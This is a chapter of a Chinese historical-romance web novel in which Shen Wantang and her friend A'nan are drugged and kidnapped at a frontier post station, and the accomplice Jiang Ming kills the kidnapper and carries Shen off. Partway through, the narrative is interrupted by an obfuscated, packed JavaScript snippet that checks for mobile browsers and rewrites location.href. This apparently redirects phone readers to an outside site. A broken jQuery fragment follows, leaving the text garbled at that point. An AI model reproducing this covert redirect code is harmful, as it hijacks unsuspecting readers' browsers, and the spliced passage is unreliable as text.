雍城,摄政王别院。
烛火无声,映着上座的挺拔身影。
下首,刺史府来的官员躬身立着,身形白胖,头几乎垂到胸口,又一次忍不住抬袖,擦了擦额角冷汗。
“回禀王爷,刺史大人命下官呈报,今冬与北狄五部互市的细则章程,已按王爷上月批示拟定,请王爷过目。”
萧珩并未抬眼。
静默无形,压得那白胖官员膝头发软。
许久,侍立一旁的卫陵才上前,接过文书置于案上。
萧珩垂眸扫过,骨节在桌案上不轻不重地一叩,“元刺史有心了,只是这数目,比往年多了两成。”
白胖官员猛地一颤,赘肉都跟着抖了抖。
萧珩:“是下面的人算错了,还是……刺史大人觉得,本王会网开一面?”
“下官不敢!王爷明鉴!”白胖官员神色越发惊恐,“定、定是下面的人疏忽!下官回去立刻严查,重新拟定!”
作为元修然的心腹,这些调动他岂会不知?可此刻说什么都是错,唯有认罪。
任元大人手伸得再长,可在这位摄政王面前,也得掂量掂量。
“处置干净,若再出纰漏……”
“是!是!下官明白!多谢王爷开恩!”白胖官员如蒙大赦,连连叩首。他不敢再多留一刻,手脚并用地爬起来,几乎是滚着退出了房门。
室内重归寂静。
卫陵方从外面归来,此时上前一步,拱手道:“王爷,属下另有要事禀报。”
“说。”
“沈二姑娘,后日将抵达雍城。”卫陵顿了顿,“今夜宿在渡野集的驿站。”
烛火噼啪轻响。
萧珩凤眸忽地抬起:“你方才说什么?”
.
次日,渡野集。
天光微亮,驿站的驼铃与人声已嘈杂成一片。
商队被迫在此多停一日。
通往雍城有条官道,需翻越北边山岭,昨日大雪封了山,车队今日是无论如何也过不去了。
即便是好天气,也是险路。
沈挽棠推开门,清冷空气扑面而来,对上一张笑脸。
“顾兄,早啊!”阿南扬了扬手中荷包,“走,我带你好生逛逛这奇地,见识见识!”
由不得沈挽棠说什么,人已经被拉走。
阿南对此地很了解,对雍城掌故如数家珍。
渡野集,近邻雍城。
从前是荒滩野地,如今人烟多了便成了形制。
地界卡在商道咽喉处,两国休戈通贸,连带着街市都格外热闹,风土人情迥异于京城。
“瞧见没?”阿南用胳膊碰了碰她,“这里的人,个头都更高些,眼窝深些,跟你们南边润出来的人模样,是两种画风。”
卖葡萄干的老人抬起眼,深褐瞳孔中笑意温和:“尝尝,甜。”
阿南如鱼得水接过。
“好,那我买上两袋。”
她掏出铜板买了两袋,其中一袋递给了沈挽棠。
“这里是商道咽喉,过客多,所以语言杂乱些。”
“我这些年天南地北跑,见过的人形形色色。可像顾兄你这般的……”阿南目光停在她脸上,“温润里藏着韧劲儿,少见。”
“不过,我挺喜欢。”
正说着,她又挤到一个馕坑前。
刚出炉的烤馕金黄酥香,阿南塞了一个到沈挽棠手里:“快,趁热!此地风寒,这东西实在保暖。”
两人歇在一处茶棚,粗陶碗里的热茶冒着白汽。
阿南从怀中摸出油布裹着的东西,推到沈挽棠面前。
“这个,我觉得你用得上。”
“算是谢礼。”
阿南眨眨眼。
东西展开,竟是雍城并周边详图。
各处细节都详细标出,这般图纸,绝非市井可得。
沈挽棠眸光微凝:“此物贵重。”
“收着便是。”阿南摆摆手。
沈挽棠没再推辞,默默记下几处关键所在。忽然,她似有所感,手指停在一处:“这里是……”
此处看着比较奇怪,形制孤立,与周遭官道皆无牵连。
处于往雍城方向,隐于群山之中,图示一条河流蜿蜒而出,圈出一小片平坦谷地。
“这里当然是忘川堡啊……”说到一半,阿南忽然停住。
“你对此地很熟悉?”
“算是吧。”
阿南不自然挠挠头:“那地方……三面环山,一面临水,地势倒是好。早些年有些避世的人在那儿落脚……”
来的人多了,渐渐成了个小聚落。自给自足,几乎不与外边往来。
阿南说罢神情有些落寞,思绪早已飘到不知何处。
她这次在外头漂泊得太久了,自己的便宜老爹,脾气实在硬,还是回去一趟。
日头西斜,两人离开茶棚往回走。
长街喧嚷渐远,沈挽棠脚步缓了一瞬。
身后似有人跟着,脚步极轻。
可她回过头,却发现什么人都没有。
……
夜色渐晚。
沈挽棠在烛火下看地图,想到什么,收起地图朝隔壁阿南的房间走去。
廊下寂静,只余远处隐约的马嘶。她抬手轻叩门板。
“阿南?”
无人应答。
她垂眸想了片刻,重新抬手。
门忽然开了,阿南还没睡下,脸色坨红,一只手拎着酒壶。
“顾、顾兄?这么晚了,嗝……是来找我喝酒吗?”
她晃晃酒壶,“可惜啦,没了,我想我阿爹酿的奶酒了……”
浓重酒气扑面而来。
沈挽棠:“无事,只是想起一事欲与你商议。既已饮多,便先歇下吧,明日再说。”
她目光扫过屋内,转身时捕捉到一丝极淡气味。
是迷魂香。
方才还强撑站立的阿南,身体已软软向前栽倒,手中酒壶哐当落地。
几乎同时,屋内一个方脸壮汉窜出,正是昨日诬陷阿南偷窃之人。
他眼神狠辣,大手抓向阿南手臂,粗暴地要将人拖走。
沈挽棠反应极快,袖中精巧弓弩滑入掌心。弩箭射出,直取方脸男面门!
“小心。”
一个声音她耳后响起。
沈挽棠浑身僵住。
她全部的注意力都在前方,竟未察觉身后何时多了人!
方脸男闻声下意识一偏头,弩箭擦着他耳际飞过。而沈挽棠来不及回身,后颈遭到重击。
她也晕了过去。
“妈的,吓死老子了!”方脸男啐了一口。
他看向来人。
“你就是我找来的帮手吧?行啊,身手利索!钱我可提前给足了,你好好做事,把这两个人弄到老地方……”
“这俩人,肯定能在那边的黑市卖个天价!”
斗笠男子并未答话,下颌旧疤有些凶戾。
方脸男嘟囔着:“……赶紧的,送到老地方交割!别误了时辰!”
两人将昏迷的沈挽棠与阿南用麻袋草草套了,扛出客栈后门,丢进一辆早已等候的简陋马车里。
驿站外停着辆马车。
方脸男拍拍身上的灰,眼神得意,利落爬上马车,朝旁边人道:“咱俩,你来驾马?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018537|189821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江铭猛地一抖缰绳。
“驾!”
马车毫无预兆地疾冲出去,方脸男猝不及防,脑门咚地撞在厢壁上,疼得龇牙咧嘴。
他摸着鼓起的大包,想骂又不敢,只偷偷撇了撇嘴,心里对这个浑身透着阴冷的帮手莫名发憷。
车轮驶入沉沉夜色,碾过冻土与碎冰。
四周是绵延无尽的雪山轮廓,像一群沉默的巨兽。
“咱们这是要去哪?”方脸男越看越不对劲,“方向是不是错了?这……这好像是往反方向走?不是说好了去老地方交割吗?”
寒意爬上脊背,他终于按捺不住:“大哥!咱们是不是走错路了?这不是去说好的地方啊!”
江铭不曾看他一眼。
马车停下。
除了呼啸的风声,四野死寂。
“下去。”
江铭的声音不高,却让方脸男浑身一激灵。
“什、什么?”方脸男以为自己听错了,“你什么意思?钱我都给了!人也在车上!你让我下去?这荒山野岭……”
江铭终于抬眼看他。
方脸男还想争辩,可看到那双眼睛,手脚并用地爬下了马车。
他深一脚浅一脚离开,脚步不仅越来越快。
“神经。”
“算我倒霉。”
走出约莫十几丈,眼看就要绕过一处雪坳,他暗自松了口气。
可就在此时,破空声极轻微地响起。方脸男身体顿住,向前踉跄了一步。
他低下头,心口处透出鲜红,迅速在棉衣上洇开,扑通倒在雪地里。
紧接着,昏迷的阿南被丢了出来。
马车朝着远处驶去。
车厢剧烈颠簸,沈挽棠从钝痛中摇醒。她双手被粗糙的麻绳捆缚。
她迅速扫视周身。
车帘恰好掀开,借着雪光看清楚车厢外的人。
缝隙透入的、雪地反射的微光,她看向前方。
驾车的人低垂着头,一顶宽大斗笠遮住了大半面容,似是察觉到什么,侧过头,朝车厢内瞥了一眼。
下颌刀疤清晰,是江铭!
车帘倏然落下。
沈挽棠心脏狂跳,猛地转向一侧,奋力用被缚的手拨开一点车窗的厚毡。
窗外,覆雪的黑松林、陡峭山崖……
是这里,是这条路!
梦境迎面袭来,她浑身忍不住颤抖起来,冰冷的恐惧如同无数细针,扎透四肢百骸。
沈挽棠忽然扬声:“江铭!”
前方,江铭拉紧缰绳的手几不可察地一顿。
“是五殿下让你来的?”她稳住心神,“你要带我回京城。”
江铭沉默。
“你如今这般对我,你说,待我回到殿下身边,若我迁怒于你,五殿下是会听你的辩解,还是信我的话?”
江铭眼底戾气翻涌。
这女人……殿下竟真对她如此纵容?临行前那句务必毫发无伤的嘱咐,此刻像一根刺,扎进他充满不甘的心头。
“江铭,我知道你的过往。”
“江家当年因军械案被满门抄斩。唯独你侥幸逃脱,之后便隐姓埋名,藏在了五皇子府。”
江铭霍然转头,阴冷地盯着她。
她竟然知晓这些。
沈挽棠迎上他的目光。
“我要下车。”
“我要更衣!”
马车猛地停住,沈挽棠向前一冲,肩背磕在坚硬的车壁上。
车帘被哗地扯开。
阴影与雪光交错,映得江铭神色愈发莫测。
“在这荒郊野岭,你最好别耍什么花样。否则……”